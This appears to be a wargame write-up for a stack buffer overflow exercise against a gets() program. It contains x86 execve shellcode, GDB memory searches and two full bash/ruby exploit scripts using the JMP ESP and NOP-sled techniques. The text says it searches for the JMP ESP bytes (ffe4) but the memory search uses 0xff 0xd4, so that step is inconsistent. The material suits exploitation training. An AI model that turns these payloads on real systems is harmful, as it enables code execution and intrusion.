$$\ $$ | $$$$$$$$\ $$ | $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\$$$$\ \____$$ |$$ |$$ __$$\ $$ | $$ | $$ |$$ __$$\ \____$$\ $$ _$$ _$$\ $$$$ _/ $$ |$$ / $$ |$$ | $$ | $$ |$$ | \__|$$$$$$$ |$$ / $$ / $$ | $$ _/ $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ __$$ |$$ | $$ | $$ | $$$$$$$$\ $$ |\$$$$$$ |\$$$$$\$$$$ |$$ | $$\\$$$$$$$ |$$ | $$ | $$ | \________|\__| \______/ \_____\____/ \__| \__|\_______|\__| \__| \__|
This exercise is a classical stack overflow escenario. We have write operation to a buffer in which the length is not controlled, and can be used to redirect the execution flow.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
This time we don’t have any function to redirect the execution flow to. Instead, we have to use a shellcode in order to execute any desired code. In this particular case, though, we are going to the following self-written shellcode, which runs the ls command.
; /bin/sh -c /bin/ls /
; char cmd[] = "/bin/sh";
; char *argv[] = {cmd, "-c", "/bin/ls", NULL};
; execve(cmd, argv, 0)
xor eax, eax
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
push eax
push 0x736c2f2f ; //ls
push 0x6e69622f ; /bin
mov edx, esp
push eax
push 0x6363632d ; -ccc
mov ecx, esp
push eax ; NULL
push edx ; argv[2]
push ecx ; argv[1]
push ebx ; cmd
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80
The scenario presented in this exercise is very similar to the one presented in stack4, as we use the same procedure for calculating the padding needed to overwrite the ret address.
What remains here, is know where to place the shellcode in the stack, and jump into it so it gets executed. Taking into account that my shellcode is quite large, we are going to place it after the ret address. Then, in order to jump into it, we can do it using the jmp esp technique, or guessing the address with the help of a nopsled.
As mentioned above, the shellcode will be right after the ret address. A quite convenient way to jump to the shellcode is to make the ret address point to a JMP ESP instruction. If we think how would be the stack layout once the ret address is back in the EIP register (i.e. when the ret instruction has been executed), we would have something like this:
+------------+ Lower addresses
| ... |
+------------+
| (buffer) |
| . |
| . |
+------------+
|(stored_ebp)|
+------------+
| (ret) |
+------------+ <-- ESP
| shellcode |
+------------+
| shellcode |
+------------+
| ... |
+------------+ Higher addresses
The values between parenthesis represent the old data that was in the stack when the function was being executed. If we pay attention to where is the ESP pointing now, and the value that has the EIP register (the address of a JMP ESP instruction), it is clear that on the next step the shellcode will start to be executed.
Now the question is, how can I find this JMP ESP and obtain its address? The answer is quick and easy. We need to get the hex representation of the JMP ESP instruction, and try to find those bytes within the binary we are exploiting. In order to get the hex representation of the JMP ESP, we only need to assemble it and get the value.
In my case, I used the rasm2 tool provided with radare to assemble the JMP ESP instruction by running:
$ rasm2 -a x86.olly -b 32 'JMP ESP'
ffe4
With this, we now need to find this two bytes within the binary, which can be done with GDB. Open the binary with GDB, set a breakpoint wherever you want and run it. Once it stops, type:
(gdb) info proc mapping
process 12596
cmdline = '/home/user/stack5/stack5'
cwd = '/home/user/stack5'
exe = '/home/user/stack5/stack5'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /home/user/stack5/stack5
0x8049000 0x804a000 0x1000 0 /home/user/stack5/stack5
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
With this command, we can see the mappings of the shared libraries used by the program. Now, with the help of the GDB find command, we will find those two bytes:
(gdb) find /b 0xb7e97000, +0x13e000, 0xff, 0xd4
0xb7e99a1d
0xb7ee864a <_IO_vfwprintf+9274>
0xb7fa6917 <translit_from_tbl+2583>
0xb7fb5e37
0xb7fc29c3
5 patterns found.
We specified the start address of the libc (0xb7e97000) and the size of it (0x13e000), followed by the two bytes we want. The 5 returned results are valid addresses, where there is a JMP ESP instruction.
The nopsled method is less precise and elegant, but it is also effective. The idea of this method is to increase the chances of finding a good ret address. by appending a decent amount of NOP instructions (nopsled) after the overwritten ret address and, after that, the shellcode. With a big amount of NOP opeartions it is easier to find a ret address that lands within the NOP padding, which will get executed, keeping the integrity of registers and stack) until the execution reach the shellcode.
In this case, the stack layout would be the following:
+------------+ Lower addresses
| ... |
+------------+
| AAAAAAAA | <-- buffer
| . |
| . |
+------------+
| AAAAAAAA |
+------------+
| ret |
+------------+ <-- ESP
| NOP |
+------------+
| NOP |
+------------+
| ... |
+------------+
| shellcode |
+------------+
| shellcode |
+------------+
| ... |
+------------+ Higher addresses
To conclude, find below the two snippets with the solution using both methods.
#!/bin/bash
# JMP ESP
mkfifo pipe
./stack5 < pipe &
ruby -e ' print "A"*76+"\x1d\x9a\xe9\xb7"+"\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x8b\xd4\x50\x68\x2d\x63\x63\x63\x8b\xcc\x50\x52\x51\x53\x8b\xcc\x33\xd2\xc6\xc0\x0b\xcd\x80"' > pipe
rm pipe
#!/bin/bash
# Nopsled
mkfifo pipe
./stack5 < pipe &
ruby -e ' print "A"*76+"\x00\xf8\xff\xbf"+"\x90"*200+"\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x8b\xd4\x50\x68\x2d\x63\x63\x63\x8b\xcc\x50\x52\x51\x53\x8b\xcc\x33\xd2\xc6\xc0\x0b\xcd\x80"' > pipe
rm pipe
</pre>